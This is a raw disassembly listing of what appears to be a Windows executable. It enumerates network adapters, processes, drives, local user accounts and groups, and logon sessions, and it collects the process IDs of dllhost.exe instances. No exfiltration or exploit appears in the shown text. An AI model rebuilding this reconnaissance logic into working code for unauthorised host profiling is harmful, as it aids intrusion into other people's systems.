pmovmskb edx, xmm0
not edx
mov r8, qword [rsp + 0x448]
lea rsi, [rsp + 0x1a0]
mov qword [rsi], rax
add rax, 0x10
mov qword [rsi + 8], rax
mov qword [rsi + 0x10], rcx
mov word [rsi + 0x18], dx
mov qword [rsi + 0x20], r8
mov ebx, 0x88
mov rcx, rsi
call fcn.1400111e7
test rax, rax
je 0x140002536
mov rdi, rax
cmp byte [rax - 2], 0
jne 0x1400024ee
mov rax, qword [rsp + 0x430]
sub rax, rdi
cqo
idiv rbx
lea rcx, [rsp + 0x430]
mov rdx, rax
call fcn.140011fa2
mov rcx, qword [rdi - 0x88]
mov rdx, qword [rdi - 0x80]
call fcn.140004eb7
jmp 0x1400024ee
lea rdi, [rsp + 0x380]
mov dword [rdi], 0x3c00
and dword [rsp + 0x120], 0
mov ebx, 3
sub ebx, 1
jb 0x14000261a
mov ecx, dword [rsp + 0x380]
call fcn.140017498
test rax, rax
je 0x1400025bf
mov rsi, rax
mov qword [rsp + 0x20], rdi
xor ecx, ecx
mov edx, 0xe
xor r8d, r8d
mov r9, rax
call sub.iphlpapi.dll_GetAdaptersAddresses
mov dword [rsp + 0x120], eax
cmp eax, 0x6f
jne 0x14000259b
mov rcx, rsi
call fcn.1400174a0
jmp 0x140002551
test eax, eax
jne 0x140002612
mov qword [rsp + 0x5b8], rsi
mov qword [rsp + 0x5c0], rsi
and qword [rsp + 0x5b0], 0
xor ecx, ecx
jmp 0x14000267c
mov ecx, 0x32
call fcn.140004fd0
mov rcx, rax
movups xmm0, xmmword [str.failed_to_allocate_memory_for_IP_ADAPTER_ADDRESSES]
movups xmmword [rax], xmm0
movups xmm0, xmmword [0x140027438]
movups xmmword [rax + 0x10], xmm0
movdqu xmm0, xmmword [0x140027448]
movdqu xmmword [rax + 0x20], xmm0
mov word [rax + 0x30], 0x5345
mov qword [rsp + 0x5b0], rax
mov qword [rsp + 0x5b8], rdx
mov qword [rsp + 0x5c0], 0x32
jmp 0x14000267c
mov rcx, rsi
call fcn.1400174a0
lea rax, [rsp + 0x120]
mov qword [rsp + 0x2f0], rax
lea rax, str.GetAdaptersAddresses___failed_with_code
lea rdx, [rsp + 0x1a0]
mov qword [rdx], rax
mov eax, 1
mov qword [rdx + 8], rax
and qword [rdx + 0x20], 0
lea rcx, [0x14000598c]
mov qword [rsp + 0x2f8], rcx
lea rcx, [rsp + 0x2f0]
mov qword [rdx + 0x10], rcx
mov qword [rdx + 0x18], rax
lea rsi, [rsp + 0x5b0]
mov rcx, rsi
call fcn.14000cfe8
mov rcx, qword [rsi]
test rcx, rcx
je 0x140002693
mov rdx, qword [rsp + 0x5b8]
call fcn.140004eb7
jmp 0x1400027f4
movdqu xmm0, xmmword [rsp + 0x5b8]
lea rax, [rsp + 0x2f0]
movdqu xmmword [rax], xmm0
lea rbx, [rsp + 0x120]
pcmpeqd xmm6, xmm6
lea rcx, [rsp + 0x1a0]
lea rdx, [rsp + 0x2f0]
call fcn.140012a11
mov r14, qword [rsp + 0x1a0]
test r14, r14
je 0x1400027e7
mov rax, qword [rsp + 0x1a8]
mov qword [rsp + 0x48], rax
cmp qword [rsp + 0x448], 0
je 0x1400027d5
mov r12, qword [rsp + 0x1b0]
mov rcx, qword [rsp + 0x450]
mov rdx, qword [rsp + 0x458]
mov r8, r14
mov r9, r12
call fcn.140011318
mov rbp, qword [rsp + 0x430]
mov rsi, qword [rsp + 0x438]
mov rdi, rsi
and rdi, rax
shr rax, 0x39
movd xmm0, eax
punpcklbw xmm0, xmm0
pshuflw xmm0, xmm0, 0
pshufd xmm7, xmm0, 0
xor r13d, r13d
movdqu xmm8, xmmword [rbp + rdi]
movdqa xmm0, xmm8
pcmpeqb xmm0, xmm7
pmovmskb eax, xmm0
mov word [rsp + 0x120], ax
mov rcx, rbx
call fcn.14000da7f
test rax, rax
je 0x14000279f
add rdx, rdi
and rdx, rsi
neg rdx
imul r15, rdx, 0x88
mov r8, qword [rbp + r15 - 0x88]
mov r9, qword [rbp + r15 - 0x78]
mov rcx, r14
mov rdx, r12
call fcn.140005e5f
test al, al
je 0x140002764
jmp 0x1400027bd
pcmpeqb xmm8, xmm6
pmovmskb eax, xmm8
test eax, eax
jne 0x1400027d5
add rdi, r13
add rdi, 0x10
add r13, 0x10
and rdi, rsi
jmp 0x140002748
add rbp, r15
lea rcx, [rsp + 0x1b8]
movzx eax, word [rcx + 4]
mov word [rbp - 4], ax
mov eax, dword [rcx]
mov dword [rbp - 8], eax
mov rcx, r14
mov rdx, qword [rsp + 0x48]
call fcn.140004eb7
jmp 0x1400026b4
mov rcx, qword [rsp + 0x2f0]
call fcn.1400174a0
mov byte [rsp + 0x6a], 1
mov word [rsp + 0x68], 0x101
call fcn.14000c637
shl rdx, 0x20
mov eax, eax
or rax, rdx
movabs rcx, 0x19db1ded53e8000
cmp rax, rcx
jge 0x140002821
xor eax, eax
jmp 0x140002838
movabs rcx, 0xfe624e212ac18000
add rax, rcx
mov ecx, 0x989680
xor edx, edx
div rcx
mov qword [rsp + 0x90], rax
mov esi, 0x80000
lea rbx, [rsp + 0x6c]
mov rdi, qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
mov rcx, rsi
xor edx, edx
call fcn.140004f73
mov r12, rax
mov r15, rdx
and dword [rsp + 0x6c], 0
mov ecx, 5
mov rdx, rax
mov r8d, esi
mov r9, rbx
call rdi
cmp eax, 0xc0000004
jne 0x14000289f
mov eax, dword [rsp + 0x6c]
test eax, eax
je 0x14000288f
add eax, 0x2800
mov rsi, rax
jmp 0x140002892
add rsi, rsi
mov rcx, r12
mov rdx, r15
call fcn.140004eb7
jmp 0x140002851
mov ecx, 8
mov edx, 0xfa0
call fcn.140004e94
test rax, rax
je 0x140004811
lea rsi, [rsp + 0x120]
mov qword [rsi], rax
mov qword [rsi + 8], 0x1f4
and qword [rsi + 0x10], 0
xor edx, edx
xor edi, edi
cmp rdx, qword [rsp + 0x128]
jne 0x1400028f5
mov rcx, rsi
call fcn.1400115a1
mov rax, qword [rsp + 0x120]
mov rdx, qword [rsp + 0x130]
lea rcx, [r12 + rdi]
mov qword [rax + rdx*8], rcx
mov rdx, qword [rsp + 0x130]
inc rdx
mov qword [rsp + 0x130], rdx
mov ecx, dword [rcx]
add rdi, rcx
test rcx, rcx
jne 0x1400028d3
lea rsi, [rsp + 0x748]
lea rax, [rsp + 0x400]
mov qword [rsi], rax
lea rcx, [rsp + 0x4d0]
xor edx, edx
call fcn.14001215a
mov rax, qword [rsp + 0x550]
lea rcx, [rsp + 0x710]
mov qword [rcx], rax
mov rbx, qword [rsp + 0x130]
mov qword [rsp + 0x1b0], rbx
movdqu xmm0, xmmword [rsp + 0x120]
movdqa xmmword [rsp + 0x1a0], xmm0
mov qword [rsp + 0xd0], 8
pxor xmm0, xmm0
movdqu xmmword [rsp + 0xd8], xmm0
mov qword [rsp + 0x1b8], rsi
lea rax, [rsp + 0x68]
mov qword [rsp + 0x1c0], rax
mov qword [rsp + 0x1c8], rcx
lea rax, [rsp + 0x90]
mov qword [rsp + 0x1d0], rax
mov rdi, qword [rsp + 0x1a8]
cmp rdi, rbx
jb 0x140004801
lea rsi, [rsp + 0x1b8]
mov r14, qword [rsi - 0x18]
mov rcx, rbx
call fcn.140011248
mov qword [rsp + 0x38], rsi
mov qword [rsp + 0x30], rbx
mov qword [rsp + 0x28], r14
mov qword [rsp + 0x20], 1
lea rsi, [rsp + 0x2f0]
mov rcx, rsi
mov rdx, rbx
xor r8d, r8d
mov r9, rax
call fcn.14000dfef
test rdi, rdi
je 0x140002a26
shl rdi, 3
mov edx, 8
mov rcx, r14
mov r8, rdi
call fcn.14000721a
mov rax, qword [rsp + 0x300]
xor edx, edx
sub rax, 1
jb 0x140002a48
mov rsi, qword [rsi]
test rsi, rsi
je 0x140002a48
add rdx, qword [rsi + 0x10]
add rsi, 0x18
jmp 0x140002a30
mov qword [rsp + 0x78], r12
mov qword [rsp + 0x60], r15
lea rcx, [rsp + 0xd0]
call fcn.140011404
mov rax, qword [rsp + 0x300]
lea rsi, [rsp + 0x5b0]
mov qword [rsi + 0x10], rax
movdqu xmm0, xmmword [rsp + 0x2f0]
movdqa xmmword [rsi], xmm0
lea r15, [rsp + 0x1a8]
lea rdi, [rsp + 0x1a0]
mov rcx, rsi
call fcn.1400104cd
test rax, rax
je 0x140002b34
mov rbx, qword [rax]
movdqu xmm0, xmmword [rax + 8]
movdqa xmmword [rsp + 0x380], xmm0
mov rcx, rax
call fcn.14000797e
test rbx, rbx
je 0x140002b34
mov qword [rsp + 0x1a0], rbx
movdqa xmm0, xmmword [rsp + 0x380]
movdqu xmmword [r15], xmm0
mov r14, qword [rsp + 0x1b0]
lea rcx, [rsp + 0xd0]
mov rdx, r14
call fcn.140011404
mov r13, qword [rsp + 0xe0]
imul rcx, r13, 0x150
add rcx, qword [rsp + 0xd0]
imul r8, r14, 0x150
mov rdx, rbx
call fcn.140014210
add r13, r14
mov qword [rsp + 0xe0], r13
and qword [rsp + 0x1b0], 0
mov rcx, rdi
call fcn.14000c9d3
jmp 0x140002a90
lea rcx, [rsp + 0x5b0]
call fcn.14000dfbd
mov rbp, qword [rsp + 0xd0]
imul rcx, qword [rsp + 0xe0], 0x150
mov rax, qword [rsp + 0xd8]
mov qword [rsp + 0x50], rax
lea rax, [rcx + rbp]
mov qword [rsp + 0x70], rax
lea rsi, [rsp + 0x2f0]
lea r12, [rsp + 0x1a0]
mov qword [rsp + 0x58], rbp
lea r13, [rsp + 0x1b8]
test rcx, rcx
je 0x140002dcc
mov rdi, qword [rbp]
cmp rdi, 2
je 0x140002dc5
mov qword [rsp + 0x48], rcx
lea r14, [rbp + 0xc8]
mov r13, qword [rbp + 0xc0]
lea rdx, [rbp + 8]
mov r8d, 0xb8
lea rcx, [rsp + 0x5b0]
call fcn.140014210
mov r8d, 0x88
mov rcx, rsi
mov rdx, r14
call fcn.140014210
mov qword [rsp + 0x380], r13
mov rcx, qword [rsp + 0x420]
mov rdx, qword [rsp + 0x428]
mov r8, r13
call fcn.14000da04
mov r14, rax
lea rax, [rsp + 0x380]
mov qword [rsp + 0xd0], rax
cmp qword [rsp + 0x410], 0
je 0x140002dab
lea rax, [rsp + 0xd0]
mov qword [rsp + 0x1a0], rax
lea rax, [rsp + 0x400]
mov qword [rsp + 0x1a8], rax
mov rcx, qword [rsp + 0x400]
mov rdx, qword [rsp + 0x408]
lea rax, [0x140011f0c]
mov qword [rsp + 0x20], rax
mov r8, r14
mov r9, r12
call fcn.140011da8
test rax, rax
je 0x140002d0e
mov rax, qword [rsp + 0x380]
mov rcx, qword [rsp + 0x400]
movzx r8d, byte [rcx + rdx]
and r8d, 1
sub qword [rsp + 0x410], r8
shr r14, 0x39
lea r8, [rdx - 0x10]
and r8, qword [rsp + 0x408]
mov byte [rcx + rdx], r14b
mov byte [r8 + rcx + 0x10], r14b
inc qword [rsp + 0x418]
mov r15, qword [rsp + 0x400]
neg rdx
imul rbx, rdx, 0x158
lea r14, [r15 + rbx]
add r14, 0xfffffffffffffeb8
mov qword [r14 - 0x10], rax
mov qword [r14 - 8], rdi
mov r8d, 0xb8
mov rcx, r14
lea rdx, [rsp + 0x5b0]
call fcn.140014210
mov qword [r14 + 0xb8], r13
lea rcx, [r15 + rbx]
add rcx, 0xffffffffffffff78
mov r8d, 0x88
mov rdx, rsi
call fcn.140014210
jmp 0x140002d93
mov rbx, qword [rsp + 0x400]
neg rdx
imul r15, rdx, 0x158
lea r14, [rbx + r15]
add r14, 0xfffffffffffffeb0
mov r8d, 0x150
mov rcx, r12
mov rdx, r14
call fcn.140014210
mov qword [r14], rdi
lea r14, [rbx + r15]
add r14, 0xfffffffffffffeb8
mov r8d, 0xb8
mov rcx, r14
lea rdx, [rsp + 0x5b0]
call fcn.140014210
mov qword [r14 + 0xb8], r13
lea rcx, [rbx + r15]
add rcx, 0xffffffffffffff78
mov r8d, 0x88
mov rdx, rsi
call fcn.140014210
cmp qword [rsp + 0x1a0], 2
je 0x140002d93
mov rcx, r12
call fcn.14000ca3e
add rbp, 0x150
mov rcx, qword [rsp + 0x48]
add rcx, 0xfffffffffffffeb0
jmp 0x140002b80
lea rcx, [rsp + 0x400]
lea rdx, [rsp + 0x420]
call fcn.140022f45
jmp 0x140002c1c
add rbp, 0x150
mov rax, qword [rsp + 0x70]
sub rax, rbp
mov ecx, 0x150
xor edx, edx
div rcx
mov rcx, rbp
mov rdx, rax
call fcn.14000ca14
mov rcx, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x50]
call fcn.14000c9fd
mov rax, qword [rsp + 0x400]
mov rcx, qword [rsp + 0x408]
add rcx, rax
inc rcx
movdqa xmm0, xmmword [rax]
pmovmskb edx, xmm0
not edx
mov r8, qword [rsp + 0x418]
lea rdi, [rsp + 0x1a0]
mov qword [rdi], rax
add rax, 0x10
mov qword [rdi + 8], rax
mov qword [rdi + 0x10], rcx
mov word [rdi + 0x18], dx
mov qword [rdi + 0x20], r8
mov r14d, 0x158
lea rbp, [rsp + 0x6c]
mov rcx, rdi
call fcn.1400119de
test rax, rax
je 0x140002e95
mov rbx, rax
cmp byte [rax - 4], 0
mov byte [rax - 4], 0
jne 0x140002e4a
mov rax, qword [rsp + 0x400]
sub rax, rbx
cqo
idiv r14
lea rcx, [rsp + 0x400]
mov rdx, rax
call fcn.140011fa2
add rbx, 0xfffffffffffffeb0
mov rcx, rbx
call fcn.14000ca3e
jmp 0x140002e4a
mov rcx, qword [rsp + 0x78]
mov rdx, qword [rsp + 0x60]
call fcn.140004eb7
call sub.kernel32.dll_GetLogicalDrives
mov dword [rsp + 0x380], eax
test eax, eax
je 0x14000305b
lea r12, [rsp + 0xd8]
mov qword [r12 - 8], 8
pxor xmm0, xmm0
movdqu xmmword [r12], xmm0
lea rax, [rsp + 0x380]
mov qword [rsp + 0x1a0], rax
movabs rax, 0x2000000000
mov qword [rsp + 0x1a8], rax
mov ecx, 0x20
call fcn.140011248
and dword [rsp + 0x28], 0
mov qword [rsp + 0x38], rdi
mov dword [rsp + 0x30], 0x20
mov qword [rsp + 0x20], 1
xor edi, edi
mov edx, 0x20
mov rcx, rsi
xor r8d, r8d
mov r9, rax
call fcn.1400104fb
mov rax, qword [rsp + 0x300]
sub rax, 1
jb 0x140002f4f
mov rsi, qword [rsi]
test rsi, rsi
je 0x140002f4f
add rdi, qword [rsi + 0x10]
add rsi, 0x18
jmp 0x140002f37
lea rsi, [rsp + 0xd0]
mov rcx, rsi
mov rdx, rdi
call fcn.1400113d6
mov rax, qword [rsp + 0x300]
lea rdi, [rsp + 0x5b0]
mov qword [rdi + 0x10], rax
movups xmm0, xmmword [rsp + 0x2f0]
movaps xmmword [rdi], xmm0
lea rbx, [rsp + 0x1a0]
mov rcx, rdi
call fcn.1400104cd
test rax, rax
je 0x140003035
mov r14, qword [rax]
movups xmm0, xmmword [rax + 8]
movaps xmmword [rsp + 0x120], xmm0
mov rcx, rax
call fcn.14000797e
test r14, r14
je 0x140003035
mov qword [rsp + 0x1a0], r14
movdqa xmm0, xmmword [rsp + 0x120]
lea rax, [rsp + 0x1a8]
movdqu xmmword [rax], xmm0
mov r15, qword [rsp + 0x1b0]
mov rcx, rsi
mov rdx, r15
call fcn.1400113d6
mov r13, qword [rsp + 0xe0]
imul rcx, r13, 0x90
add rcx, qword [rsp + 0xd0]
imul r8, r15, 0x90
mov rdx, r14
call fcn.140014210
add r13, r15
mov qword [rsp + 0xe0], r13
lea r13, [rsp + 0x1b8]
and qword [rsp + 0x1b0], 0
mov rcx, rbx
call fcn.14000cb6f
jmp 0x140002f89
lea rcx, [rsp + 0x5b0]
call fcn.14001049b
mov rsi, qword [rsp + 0xd0]
movdqu xmm0, xmmword [r12]
movdqa xmmword [rsp + 0x1a0], xmm0
jmp 0x14000306d
pxor xmm0, xmm0
movdqa xmmword [rsp + 0x1a0], xmm0
mov esi, 8
lea rcx, [rsp + 0x4a0]
call fcn.14000cb6f
mov qword [rsp + 0x4a0], rsi
lea rax, [rsp + 0x1d0]
movdqa xmm0, xmmword [rax - 0x30]
movdqu xmmword [rsp + 0x4a8], xmm0
lea rax, [rsp + 0x380]
mov qword [rax], 8
pxor xmm6, xmm6
lea rcx, [rsp + 0x180]
and dword [rcx], 0
movdqu xmmword [rax + 8], xmm6
lea rbx, [rsp + 0x1a0]
lea r12, [rsp + 0x710]
lea rdi, [rsp + 0x68]
and qword [rsp + 0x90], 0
and dword [rsp + 0xcc], 0
and dword [rsp + 0x184], 0
lea rax, [rsp + 0x180]
mov qword [rsp + 0x38], rax
lea rax, [rsp + 0x184]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0xcc]
mov qword [rsp + 0x28], rax
or dword [rsp + 0x20], 0xffffffff
xor ecx, ecx
xor edx, edx
mov r8d, 2
lea r9, [rsp + 0x90]
call sub.netapi32.dll_NetUserEnum
test eax, eax
je 0x14000313b
cmp eax, 0xea
jne 0x14000346a
mov dword [rsp + 0x48], eax
mov r15, qword [rsp + 0x90]
mov eax, dword [rsp + 0xcc]
lea r14, [r15 + rax*8]
cmp r15, r14
je 0x14000344e
mov rsi, r15
add r15, 8
cmp qword [rsi], 0
je 0x140003152
and qword [rsp + 0x748], 0
mov rdx, qword [rsi]
xor ecx, ecx
mov r8d, 0x17
lea r9, [rsp + 0x748]
call sub.netapi32.dll_NetUserGetInfo
test eax, eax
jne 0x140003433
mov rax, qword [rsp + 0x748]
mov rdx, qword [rax + 0x20]
lea rcx, [rsp + 0x120]
call fcn.14000d2f2
mov rdx, qword [rsp + 0x120]
test rdx, rdx
je 0x140003433
mov rcx, rbx
call fcn.14001204b
cmp qword [rsp + 0x1a0], 0
je 0x1400031f2
mov rax, qword [rsp + 0x1b0]
mov qword [rsp + 0xe0], rax
movdqu xmm0, xmmword [rsp + 0x1a0]
movdqa xmmword [rsp + 0xd0], xmm0
jmp 0x140003202
mov rdx, qword [rsi]
lea rcx, [rsp + 0xd0]
call fcn.14000c7bb
mov rdx, qword [rsi]
and qword [rsp + 0x710], 0
and dword [rsp + 0x68], 0
and dword [rsp + 0x6c], 0
mov qword [rsp + 0x38], rbp
mov qword [rsp + 0x30], rdi
mov qword [rsp + 0x20], r12
or dword [rsp + 0x28], 0xffffffff
lea rcx, [0x1400273e8]
xor r8d, r8d
mov r9d, 1
call sub.netapi32.dll_NetUserGetLocalGroups
test eax, eax
je 0x140003262
lea rax, [rsp + 0x2f8]
movdqu xmmword [rax], xmm6
mov qword [rsp + 0x2f0], 8
jmp 0x1400033a3
mov ebp, dword [rsp + 0x68]
test rbp, rbp
je 0x140003286
imul rsi, rbp, 0x18
mov ecx, 8
mov rdx, rsi
call fcn.140004e94
test rax, rax
jne 0x14000328b
jmp 0x1400047ed
mov eax, 8
mov qword [rsp + 0x2f0], rax
mov qword [rsp + 0x2f8], rbp
and qword [rsp + 0x300], 0
mov rdi, qword [rsp + 0x710]
test rdi, rdi
je 0x1400032e5
mov esi, dword [rsp + 0x68]
cmp ebp, esi
jae 0x14000331f
lea rcx, [rsp + 0x2f0]
xor edx, edx
mov r8, rsi
call fcn.14000d8c6
mov rcx, rax
call fcn.140004d99
mov rax, qword [rsp + 0x2f0]
mov rbp, qword [rsp + 0x300]
jmp 0x14000332e
mov rax, qword [rsp + 0x300]
lea rcx, [rsp + 0x1d0]
mov qword [rcx + 0x10], rax
mov rax, qword [rsp + 0x2f0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x2f8]
mov qword [rcx + 8], rax
lea rbp, [rsp + 0x6c]
lea rdi, [rsp + 0x68]
jmp 0x1400033e0
mov ebp, 0
mov ecx, 0
test rsi, rsi
je 0x140003389
imul r12, rbp, 0x18
add r12, rax
xor ebx, ebx
lea r13, [rsp + 0x5b0]
mov rdx, qword [rdi + rbx*8]
mov rcx, r13
call fcn.14000c7bb
mov rax, qword [rsp + 0x5c0]
mov qword [r12 + 0x10], rax
movdqu xmm0, xmmword [rsp + 0x5b0]
movdqu xmmword [r12], xmm0
inc rbx
add r12, 0x18
cmp rsi, rbx
jne 0x14000333f
add rbp, rbx
mov rcx, rbp
lea rbx, [rsp + 0x1a0]
lea r13, [rsp + 0x1b8]
mov qword [rsp + 0x300], rcx
lea rbp, [rsp + 0x6c]
lea r12, [rsp + 0x710]
lea rdi, [rsp + 0x68]
mov rcx, qword [rsp + 0x710]
mov rax, qword [rsp + 0x300]
lea rdx, [rsp + 0x1d0]
mov qword [rdx + 0x10], rax
mov rax, qword [rsp + 0x2f0]
mov qword [rdx], rax
mov rax, qword [rsp + 0x2f8]
mov qword [rdx + 8], rax
test rcx, rcx
je 0x1400033e0
call sub.netapi32.dll_NetApiBufferFree
movups xmm0, xmmword [rsp + 0x120]
movaps xmmword [rsp + 0x1a0], xmm0
mov rax, qword [rsp + 0x130]
mov qword [rsp + 0x1b0], rax
and dword [rsp + 0x1e8], 0
mov rax, qword [rsp + 0xe0]
mov qword [r13 + 0x10], rax
movdqa xmm0, xmmword [rsp + 0xd0]
movdqu xmmword [r13], xmm0
lea rcx, [rsp + 0x380]
mov rdx, rbx
call fcn.140012119
mov rcx, qword [rsp + 0x748]
test rcx, rcx
je 0x140003152
call sub.netapi32.dll_NetApiBufferFree
jmp 0x140003152
mov rcx, qword [rsp + 0x90]
cmp dword [rsp + 0x48], 0xea
jne 0x140003472
call fcn.140012037
jmp 0x1400030d0
mov rcx, qword [rsp + 0x90]
call fcn.140012037
lea rcx, [rsp + 0x710]
and dword [rcx], 0
lea rsi, [rsp + 0x120]
and qword [rsi], 0
mov rdx, rsi
call sub.secur32.dll_LsaEnumerateLogonSessions
mov rcx, qword [rsi]
test eax, eax
jne 0x140003696
mov eax, dword [rsp + 0x710]
lea rbx, [rcx + rax*8]
lea rdi, [rsp + 0xd0]
lea r12, [rsp + 0x1a0]
pxor xmm6, xmm6
cmp rcx, rbx
je 0x14000368e
lea r14, [rcx + 8]
and qword [rsp + 0xd0], 0
mov rdx, rdi
call sub.secur32.dll_LsaGetLogonSessionData
mov rcx, qword [rsp + 0xd0]
test eax, eax
je 0x1400034f4
call fcn.140012041
mov rcx, r14
jmp 0x1400034c0
test rcx, rcx
je 0x140003593
cmp dword [rcx + 0x40], 3
je 0x1400034ea
movzx esi, word [rcx + 0x10]
mov r15, qword [rcx + 0x18]
mov rdx, qword [rcx + 0x48]
mov rcx, r12
call fcn.14000d2f2
mov r13, qword [rsp + 0x1a0]
test r13, r13
je 0x140003681
mov qword [rsp + 0x60], r15
mov rax, qword [rsp + 0x1a8]
mov qword [rsp + 0x48], rax
mov r15, qword [rsp + 0x1b0]
mov rdx, qword [rsp + 0x380]
imul rbp, qword [rsp + 0x390], 0x50
test rbp, rbp
je 0x14000359a
lea r12, [rdx + 0x50]
mov rcx, qword [rdx]
mov rdx, qword [rdx + 0x10]
mov r8, r13
mov r9, r15
call fcn.140005e5f
add rbp, 0xffffffffffffffb0
mov rdx, r12
test al, al
je 0x140003553
mov rcx, r13
mov rdx, qword [rsp + 0x48]
call fcn.140004eb7
lea r12, [rsp + 0x1a0]
jmp 0x140003681
xor ecx, ecx
jmp 0x1400034ea
lea rcx, [rsp + 0x5b0]
mov rdx, r13
call fcn.14001204b
mov rax, qword [rsp + 0x5b0]
test rax, rax
je 0x1400035d6
lea rcx, [rsp + 0x5b8]
movdqu xmm0, xmmword [rcx]
movdqa xmmword [rsp + 0x2f0], xmm0
lea r12, [rsp + 0x1a0]
jmp 0x140003622
shr esi, 1
lea r12, [rsp + 0x1a0]
mov rcx, r12
mov rdx, qword [rsp + 0x60]
mov r8, rsi
call fcn.140005181
mov rax, qword [rsp + 0x1a0]
test rax, rax
lea rcx, [rsp + 0x1a8]
je 0x140003614
movdqu xmm0, xmmword [rcx]
movdqa xmmword [rsp + 0x2f0], xmm0
jmp 0x140003622
movdqa xmmword [rsp + 0x2f0], xmm6
mov eax, 1
mov rcx, qword [rsp + 0x48]
mov qword [rsp + 0x1a0], r13
mov qword [rsp + 0x1a8], rcx
mov qword [rsp + 0x1b0], r15
movdqa xmm0, xmmword [rsp + 0x2f0]
lea rcx, [rsp + 0x1c0]
movdqu xmmword [rcx], xmm0
and dword [rcx + 0x28], 0
movdqu xmmword [rcx + 0x18], xmm6
mov qword [rsp + 0x1b8], rax
mov qword [rsp + 0x1d0], 8
lea rcx, [rsp + 0x380]
mov rdx, r12
call fcn.140012119
mov rcx, qword [rsp + 0xd0]
jmp 0x1400034ea
mov rcx, qword [rsp + 0x120]
mov rax, qword [rsp + 0x390]
mov qword [rsp + 0x1b0], rax
movups xmm0, xmmword [rsp + 0x380]
movaps xmmword [rsp + 0x1a0], xmm0
test rcx, rcx
je 0x1400036c0
call fcn.14001368a
mov rcx, qword [rsp + 0x4b8]
mov rdx, qword [rsp + 0x4c8]
call fcn.1400117c7
mov rcx, qword [rsp + 0x4b8]
mov rdx, qword [rsp + 0x4c0]
call fcn.140011944
mov rax, qword [rsp + 0x1b0]
lea rcx, [rsp + 0x4b8]
mov qword [rcx + 0x10], rax
movdqa xmm0, xmmword [rsp + 0x1a0]
movdqu xmmword [rcx], xmm0
mov rax, qword [rsp + 0x3c0]
mov qword [rsp + 0x60], rax
mov rax, qword [rsp + 0x3c8]
mov qword [rsp + 0x58], rax
mov rax, qword [rsp + 0x3d8]
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x3f0]
mov qword [rsp + 0x6d8], rax
mov rax, qword [rsp + 0x3f8]
mov qword [rsp + 0x6d0], rax
mov r15, qword [rsp + 0x400]
mov r13, qword [rsp + 0x408]
mov r12, qword [rsp + 0x418]
mov rsi, qword [rsp + 0x430]
mov rdi, qword [rsp + 0x438]
mov rax, qword [rsp + 0x448]
mov qword [rsp + 0x6e0], rax
mov rax, qword [rsp + 0x488]
mov qword [rsp + 0x78], rax
mov rax, qword [rsp + 0x490]
mov qword [rsp + 0x88], rax
mov rax, qword [rsp + 0x498]
mov qword [rsp + 0x80], rax
mov rax, qword [rsp + 0x4a0]
mov qword [rsp + 0x70], rax
movdqa xmm6, xmmword [r15]
mov rax, qword [rsp + 0x4a8]
mov qword [rsp + 0xc0], rax
mov rax, qword [rsp + 0x4b0]
mov qword [rsp + 0xb8], rax
mov r14, qword [rsp + 0x4b8]
mov rbx, qword [rsp + 0x4c0]
mov rax, qword [rsp + 0x4c8]
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x4d0]
mov qword [rsp + 0x700], rax
mov rax, qword [rsp + 0x4d8]
mov qword [rsp + 0x708], rax
mov rax, qword [rsp + 0x4e8]
mov qword [rsp + 0x168], rax
mov rax, qword [rsp + 0x4f0]
mov qword [rsp + 0x170], rax
mov rax, qword [rsp + 0x500]
mov qword [rsp + 0x178], rax
mov rax, qword [rsp + 0x508]
mov qword [rsp + 0x98], rax
mov rax, qword [rsp + 0x518]
mov qword [rsp + 0x160], rax
mov rax, qword [rsp + 0x520]
mov qword [rsp + 0x6c8], rax
mov rax, qword [rsp + 0x540]
mov qword [rsp + 0xa8], rax
mov rax, qword [rsp + 0x548]
mov qword [rsp + 0xb0], rax
mov rax, qword [rsp + 0x550]
mov qword [rsp + 0xa0], rax
mov al, byte [0x140032b80]
mov ecx, 0x38
mov edx, 8
call fcn.1400133f0
test rax, rax
je 0x14000481d
mov rbp, rax
mov qword [rsp + 0x6e8], r14
mov qword [rsp + 0x6f0], rbx
mov qword [rsp + 0x6f8], rdi
mov qword [rsp + 0x6c0], rsi
lea rcx, [r13 + r15 + 1]
lea rbx, [r15 + 0x10]
pmovmskb eax, xmm6
not eax
mov qword [rbp], r15
mov qword [rbp + 8], rbx
mov qword [rsp + 0x6b0], rcx
mov qword [rbp + 0x10], rcx
mov word [rbp + 0x18], ax
mov qword [rsp + 0x6b8], r12
mov qword [rbp + 0x20], r12
lea rsi, str.dllhost.exe
mov qword [rbp + 0x28], rsi
mov qword [rbp + 0x30], 0xb
mov edi, 0xb
lea r12, [rsp + 0x188]
mov rcx, rbp
call fcn.1400119de
test rax, rax
je 0x1400039c9
mov r14, rax
add rax, 0xfffffffffffffeb0
je 0x1400039c9
mov rcx, qword [r14 - 0xd8]
mov rdx, qword [r14 - 0xc8]
mov r8, rsi
mov r9, rdi
call fcn.140005e64
test al, al
je 0x14000394a
mov esi, dword [r14 - 0x90]
mov rdx, qword [rsp + 0x198]
cmp rdx, qword [rsp + 0x190]
jne 0x1400039a8
mov rcx, r12
call fcn.140006db6
mov rdx, qword [rsp + 0x198]
mov rax, qword [rsp + 0x188]
mov qword [rax + rdx*8], rsi
inc rdx
mov qword [rsp + 0x198], rdx
mov rsi, qword [rbp + 0x28]
mov rdi, qword [rbp + 0x30]
jmp 0x14000394a
mov edx, 8
mov rcx, rbp
call fcn.140013480
mov rax, qword [rsp + 0x188]
mov qword [rsp + 0x3b8], rax
mov rax, qword [rsp + 0x190]
mov qword [rsp + 0x6a8], rax
mov rdi, qword [rsp + 0x198]
test r13, r13
je 0x140003a6c
mov rcx, qword [rsp + 0x6b8]
test rcx, rcx
je 0x140003a5b
movdqa xmm0, xmmword [r15]
pmovmskb eax, xmm0
not eax
lea rsi, [rsp + 0x3c0]
mov word [rsi + 0x18], ax
mov qword [rsi], r15
mov qword [rsi + 8], rbx
mov rax, qword [rsp + 0x6b0]
mov qword [rsi + 0x10], rax
mov qword [rsi + 0x20], rcx
mov rcx, rsi
call fcn.1400119de
test rax, rax
je 0x140003a5b
add rax, 0xfffffffffffffeb0
mov rcx, rax
call fcn.14000ca3e
jmp 0x140003a3e
mov r8d, 0x158
mov rcx, r15
mov rdx, r13
call fcn.140001015
mov rcx, qword [rsp + 0x700]
mov rdx, qword [rsp + 0x708]
call fcn.140004eb7
mov rcx, qword [rsp + 0x160]
test rcx, rcx
